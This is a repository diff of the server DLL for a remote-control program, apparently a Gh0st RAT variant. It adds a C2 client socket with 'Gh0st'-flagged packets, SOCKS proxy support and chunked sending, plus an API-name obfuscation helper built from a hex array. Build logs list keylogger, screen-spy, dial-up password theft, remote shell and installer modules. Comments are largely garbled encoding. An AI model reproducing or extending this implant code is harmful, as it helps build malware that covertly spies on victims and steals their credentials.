m_WriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag));
|
||||
// 4 byte header [Size of Entire Packet]
|
||||
m_WriteBuffer.Write((PBYTE)&nBufLen, sizeof(nBufLen));
|
||||
// 4 byte header [Size of UnCompress Entire Packet]
|
||||
m_WriteBuffer.Write((PBYTE)&nSize, sizeof(nSize));
|
||||
// Write Data
|
||||
m_WriteBuffer.Write(pDest, destLen);
|
||||
delete[] pDest;
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ٱ<EFBFBD><D9B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><>Ϊ<EFBFBD>п<EFBFBD><D0BF><EFBFBD><EFBFBD><EFBFBD>m_ResendWriteBuffer<65><72><EFBFBD><EFBFBD><EFBFBD>ڷ<EFBFBD><DAB7><EFBFBD>,<2C><><EFBFBD>Բ<EFBFBD>ֱ<EFBFBD><D6B1>д<EFBFBD><D0B4>
|
||||
LPBYTE lpResendWriteBuffer = new BYTE[nSize];
|
||||
CopyMemory(lpResendWriteBuffer, lpData, nSize);
|
||||
m_ResendWriteBuffer.ClearBuffer();
|
||||
m_ResendWriteBuffer.Write(lpResendWriteBuffer, nSize); // <20><><EFBFBD>ݷ<EFBFBD><DDB7>͵<EFBFBD><CDB5><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (lpResendWriteBuffer)
|
||||
delete[] lpResendWriteBuffer;
|
||||
}
|
||||
else // Ҫ<><D2AA><EFBFBD>ط<EFBFBD>, ֻ<><D6BB><EFBFBD><EFBFBD>FLAG
|
||||
{
|
||||
m_WriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag));
|
||||
m_ResendWriteBuffer.ClearBuffer();
|
||||
m_ResendWriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag)); // <20><><EFBFBD>ݷ<EFBFBD><DDB7>͵<EFBFBD><CDB5><EFBFBD><EFBFBD><EFBFBD>
|
||||
}
|
||||
|
||||
// <20>ֿ鷢<D6BF><E9B7A2>
|
||||
return SendWithSplit(m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLen(), MAX_SEND_BUFFER);
|
||||
}
|
||||
|
||||
|
||||
int CClientSocket::SendWithSplit(LPBYTE lpData, UINT nSize, UINT nSplitSize)
|
||||
{
|
||||
int nRet = 0;
|
||||
const char *pbuf = (char *)lpData;
|
||||
int size = 0;
|
||||
int nSend = 0;
|
||||
int nSendRetry = 15;
|
||||
int i = 0;
|
||||
// <20><><EFBFBD>η<EFBFBD><CEB7><EFBFBD>
|
||||
for (size = nSize; size >= nSplitSize; size -= nSplitSize)
|
||||
{
|
||||
for (i = 0; i < nSendRetry; i++)
|
||||
{
|
||||
nRet = send(m_Socket, pbuf, nSplitSize, 0);
|
||||
if (nRet > 0)
|
||||
break;
|
||||
}
|
||||
if (i == nSendRetry)
|
||||
return -1;
|
||||
|
||||
nSend += nRet;
|
||||
pbuf += nSplitSize;
|
||||
Sleep(10); // <20><>Ҫ<EFBFBD><D2AA>Sleep,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƶ<EFBFBD><C6B6><EFBFBD><EFBFBD>ݻ<EFBFBD><DDBB><EFBFBD>
|
||||
}
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IJ<EFBFBD><C4B2><EFBFBD>
|
||||
if (size > 0)
|
||||
{
|
||||
for (i = 0; i < nSendRetry; i++)
|
||||
{
|
||||
nRet = send(m_Socket, (char *)pbuf, size, 0);
|
||||
if (nRet > 0)
|
||||
break;
|
||||
}
|
||||
if (i == nSendRetry)
|
||||
return -1;
|
||||
nSend += nRet;
|
||||
}
|
||||
if (nSend == nSize)
|
||||
return nSend;
|
||||
else
|
||||
return SOCKET_ERROR;
|
||||
}
|
||||
|
||||
void CClientSocket::setManagerCallBack(CManager *pManager)
|
||||
{
|
||||
m_pManager = pManager;
|
||||
}
|
||||
|
||||
void CClientSocket::setGlobalProxyOption(int nProxyType /*= PROXY_NONE*/, LPCTSTR lpszProxyHost /*= NULL*/,
|
||||
UINT nProxyPort /*= 1080*/, LPCTSTR lpszUserName /*= NULL*/, LPCSTR lpszPassWord /*= NULL*/)
|
||||
{
|
||||
memset(m_strProxyHost, 0, sizeof(m_strProxyHost));
|
||||
memset(m_strUserName, 0, sizeof(m_strUserName));
|
||||
memset(m_strPassWord, 0, sizeof(m_strPassWord));
|
||||
|
||||
m_nProxyType = nProxyType;
|
||||
if (lpszProxyHost != NULL)
|
||||
lstrcpy(m_strProxyHost, lpszProxyHost);
|
||||
|
||||
m_nProxyPort = nProxyPort;
|
||||
if (lpszUserName != NULL)
|
||||
lstrcpy(m_strUserName, lpszUserName);
|
||||
if (lpszPassWord != NULL)
|
||||
lstrcpy(m_strPassWord, lpszPassWord);
|
||||
}
|
114
CcMainDll/CcMainDll/ClientSocket.h
Normal file
114
CcMainDll/CcMainDll/ClientSocket.h
Normal file
@@ -0,0 +1,114 @@
|
||||
// ClientSocket.h: interface for the CClientSocket class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_CLIENTSOCKET_H__1902379A_1EEB_4AFE_A531_5E129AF7AE95__INCLUDED_)
|
||||
#define AFX_CLIENTSOCKET_H__1902379A_1EEB_4AFE_A531_5E129AF7AE95__INCLUDED_
|
||||
#include <winsock2.h>
|
||||
#include <mswsock.h>
|
||||
#include "common/Buffer.h" // Added by ClassView
|
||||
#include "common/Manager.h"
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
// Change at your Own Peril
|
||||
|
||||
// 'G' 'h' '0' 's' 't' | PacketLen | UnZipLen
|
||||
#define HDR_SIZE 13
|
||||
#define FLAG_SIZE 5
|
||||
|
||||
enum
|
||||
{
|
||||
PROXY_NONE,
|
||||
PROXY_SOCKS_VER4 = 4,
|
||||
PROXY_SOCKS_VER5
|
||||
};
|
||||
|
||||
struct socks5req1
|
||||
{
|
||||
char Ver;
|
||||
char nMethods;
|
||||
char Methods[2];
|
||||
};
|
||||
|
||||
struct socks5ans1
|
||||
{
|
||||
char Ver;
|
||||
char Method;
|
||||
};
|
||||
|
||||
struct socks5req2
|
||||
{
|
||||
char Ver;
|
||||
char Cmd;
|
||||
char Rsv;
|
||||
char Atyp;
|
||||
unsigned long IPAddr;
|
||||
unsigned short Port;
|
||||
|
||||
// char other[1];
|
||||
};
|
||||
|
||||
struct socks5ans2
|
||||
{
|
||||
char Ver;
|
||||
char Rep;
|
||||
char Rsv;
|
||||
char Atyp;
|
||||
char other[1];
|
||||
};
|
||||
|
||||
struct authreq
|
||||
{
|
||||
char Ver;
|
||||
char Ulen;
|
||||
char NamePass[256];
|
||||
};
|
||||
|
||||
struct authans
|
||||
{
|
||||
char Ver;
|
||||
char Status;
|
||||
};
|
||||
|
||||
class CClientSocket
|
||||
{
|
||||
friend class CManager;
|
||||
public:
|
||||
CBuffer m_CompressionBuffer;
|
||||
CBuffer m_DeCompressionBuffer;
|
||||
CBuffer m_WriteBuffer;
|
||||
CBuffer m_ResendWriteBuffer;
|
||||
void Disconnect();
|
||||
bool Connect(LPCTSTR lpszHost, UINT nPort);
|
||||
int Send(LPBYTE lpData, UINT nSize);
|
||||
void OnRead(LPBYTE lpBuffer, DWORD dwIoSize);
|
||||
void setManagerCallBack(CManager *pManager);
|
||||
void setGlobalProxyOption(int nProxyType = PROXY_NONE, LPCTSTR lpszProxyHost = NULL, UINT nProxyPort = 1080, LPCTSTR lpszUserName = NULL, LPCSTR lpszPassWord = NULL);
|
||||
void run_event_loop();
|
||||
bool IsRunning();
|
||||
|
||||
HANDLE m_hWorkerThread;
|
||||
SOCKET m_Socket;
|
||||
HANDLE m_hEvent;
|
||||
|
||||
CClientSocket();
|
||||
virtual ~CClientSocket();
|
||||
private:
|
||||
static int m_nProxyType;
|
||||
static char m_strProxyHost[256];
|
||||
static UINT m_nProxyPort;
|
||||
static char m_strUserName[256];
|
||||
static char m_strPassWord[256];
|
||||
|
||||
BYTE m_bPacketFlag[FLAG_SIZE];
|
||||
bool ConnectProxyServer(LPCTSTR lpszHost, UINT nPort);
|
||||
static DWORD WINAPI WorkThread(LPVOID lparam);
|
||||
int SendWithSplit(LPBYTE lpData, UINT nSize, UINT nSplitSize);
|
||||
bool m_bIsRunning;
|
||||
CManager *m_pManager; //---<2D>鿴CManager <20><><EFBFBD><EFBFBD>OnReceive<76><65><EFBFBD><EFBFBD>
|
||||
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_CLIENTSOCKET_H__1902379A_1EEB_4AFE_A531_5E129AF7AE95__INCLUDED_)
|
36
CcMainDll/CcMainDll/Debug/CcMainDll.Build.CppClean.log
Normal file
36
CcMainDll/CcMainDll/Debug/CcMainDll.Build.CppClean.log
Normal file
@@ -0,0 +1,36 @@
|
||||
g:\ccremote\ccremote\ccmaindll\bin\server\ccmaindll.lib
|
||||
g:\ccremote\ccremote\ccmaindll\bin\server\ccmaindll.exp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.pch
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\vc141.pdb
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\vc141.idb
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\pch.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\audio.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\until.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\buffer.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\clientsocket.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\videomanager.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\videocap.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\systemmanager.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\shellmanager.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\screenspy.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\screenmanager.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\regeditex.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\manager.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\keyboardmanager.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\kernelmanager.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\install.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\dialupass.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\audiomanager.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\filemanager.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\dllmain.obj
|
||||
g:\ccremote\ccremote\ccmaindll\bin\server\ccmaindll.ilk
|
||||
g:\ccremote\ccremote\ccmaindll\bin\server\ccmaindll.dll
|
||||
g:\ccremote\ccremote\ccmaindll\bin\server\ccmaindll.pdb
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\..\bin\server\ccmaindll.dll
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\ccmaindll.write.1u.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.command.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.read.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.write.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.command.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.read.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.write.1.tlog
|
104
CcMainDll/CcMainDll/Debug/CcMainDll.log
Normal file
104
CcMainDll/CcMainDll/Debug/CcMainDll.log
Normal file
@@ -0,0 +1,104 @@
|
||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||
pch.cpp
|
||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||
Audio.cpp
|
||||
g:\ccremote\ccremote\common\audio.cpp(99): warning C4018: “<”: 有符号/无符号不匹配
|
||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||
ClientSocket.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(69): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(71): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(207): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(324): warning C4018: “>=”: 有符号/无符号不匹配
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(423): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(478): warning C4018: “>=”: 有符号/无符号不匹配
|
||||
Buffer.cpp
|
||||
until.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(68): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 参见“strcmpi”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(169): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(172): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||
正在生成代码...
|
||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||
AudioManager.cpp
|
||||
Dialupass.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(139): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(143): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(147): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(208): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||
install.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(7): warning C4101: “Desc”: 未引用的局部变量
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(120): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(121): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(214): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(215): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
KernelManager.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(43): warning C4018: “<”: 有符号/无符号不匹配
|
||||
KeyboardManager.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(33): warning C4018: “<”: 有符号/无符号不匹配
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(307): warning C4018: “<”: 有符号/无符号不匹配
|
||||
Manager.cpp
|
||||
RegEditEx.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(9): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(100): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(111): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(112): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(114): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(141): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
ScreenManager.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenmanager.cpp(5): warning C4005: “_WIN32_WINNT”: 宏重定义
|
||||
g:\windows kits\10\include\10.0.17763.0\shared\sdkddkver.h(216): note: 参见“_WIN32_WINNT”的前一个定义
|
||||
ScreenSpy.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(363): warning C4018: “>”: 有符号/无符号不匹配
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(384): warning C4018: “<”: 有符号/无符号不匹配
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(403): warning C4018: “<”: 有符号/无符号不匹配
|
||||
ShellManager.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\shellmanager.cpp(52): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
SystemManager.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(111): warning C4018: “<”: 有符号/无符号不匹配
|
||||
VideoCap.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(118): warning C4101: “gCapTureParms”: 未引用的局部变量
|
||||
VideoManager.cpp
|
||||
正在生成代码...
|
||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||
FileManager.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(271): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(272): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(422): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(597): warning C4307: “+”: 整型常量溢出
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(594): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(240): warning C4715: “CFileManager::OpenFile”: 不是所有的控件路径都返回值
|
||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||
dllmain.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\login.h(38): warning C4101: “pEnd”: 未引用的局部变量
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\login.h(184): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(166): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
LINK : warning LNK4044: 无法识别的选项“/Zc:strictStrings”;已忽略
|
||||
CcMainDll.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\CcMainDll\..\bin\server\CcMainDll.dll
|
@@ -0,0 +1,2 @@
|
||||
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
||||
Debug|Win32|G:\CcRemote\CcRemote\CcMainDll\|
|
BIN
CcMainDll/CcMainDll/Debug/dllmain.obj.enc
Normal file
BIN
CcMainDll/CcMainDll/Debug/dllmain.obj.enc
Normal file
Binary file not shown.
29
CcMainDll/CcMainDll/DynamicAPI.h
Normal file
29
CcMainDll/CcMainDll/DynamicAPI.h
Normal file
@@ -0,0 +1,29 @@
|
||||
/*
|
||||
typedef BOOL (WINAPI *CloseWindowT)(IN HWND hWnd);
|
||||
|
||||
class DynamicAPI
|
||||
{
|
||||
public:
|
||||
CloseWindowT pCloseWindowT;
|
||||
void init_user32(){
|
||||
pCloseWindowT=(CloseWindowT)GetProcAddress(LoadLibrary("USER32.dll"),"CloseWindow");
|
||||
}
|
||||
};
|
||||
*/
|
||||
|
||||
typedef BOOL (WINAPI* CloseWindowT)(IN HWND hWnd);
|
||||
|
||||
class DynamicAPI
|
||||
{
|
||||
public:
|
||||
CloseWindowT pCloseWindowT;
|
||||
void init_user32()
|
||||
{
|
||||
//char chTemp[]={0x43, 0x6C, 0x6F, 0x73, 0x65, 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77,0};
|
||||
//pCloseWindowT=(CloseWindowT)GetProcAddress(LoadLibrary("USER32.dll"),chTemp);
|
||||
char chTemp[]={0x43, 0x6C, 0x6F, 0x73, 0x65, 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0};
|
||||
//pCloseWindowT=(CloseWindowT)GetProcAddress(LoadLibrary("USER32.dll"),"CloseWindow");
|
||||
pCloseWindowT=(CloseWindowT)GetProcAddress(LoadLibrary("USER32.dll"),chTemp);
|
||||
}
|
||||
|
||||
};
|
36
CcMainDll/CcMainDll/Release/CcMainDll.Build.CppClean.log
Normal file
36
CcMainDll/CcMainDll/Release/CcMainDll.Build.CppClean.log
Normal file
@@ -0,0 +1,36 @@
|
||||
g:\ccremote\ccremote\ccmaindll\bin\server\server.dll\ccmaindll.lib
|
||||
g:\ccremote\ccremote\ccmaindll\bin\server\server.dll\ccmaindll.exp
|
||||
g:\ccremote\ccremote\ccmaindll\bin\server\server.dll\ccmaindll.ipdb
|
||||
g:\ccremote\ccremote\ccmaindll\bin\server\server.dll\ccmaindll.iobj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.pch
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\vc141.pdb
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\pch.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\audio.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\until.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\keyboardmanager.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\buffer.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\clientsocket.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\videomanager.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\videocap.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\systemmanager.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\shellmanager.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\screenspy.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\screenmanager.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\regeditex.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\manager.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\kernelmanager.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\install.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\dialupass.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\audiomanager.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\filemanager.obj
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\dllmain.obj
|
||||
g:\ccremote\ccremote\ccmaindll\bin\server\server.dll\ccmaindll.dll
|
||||
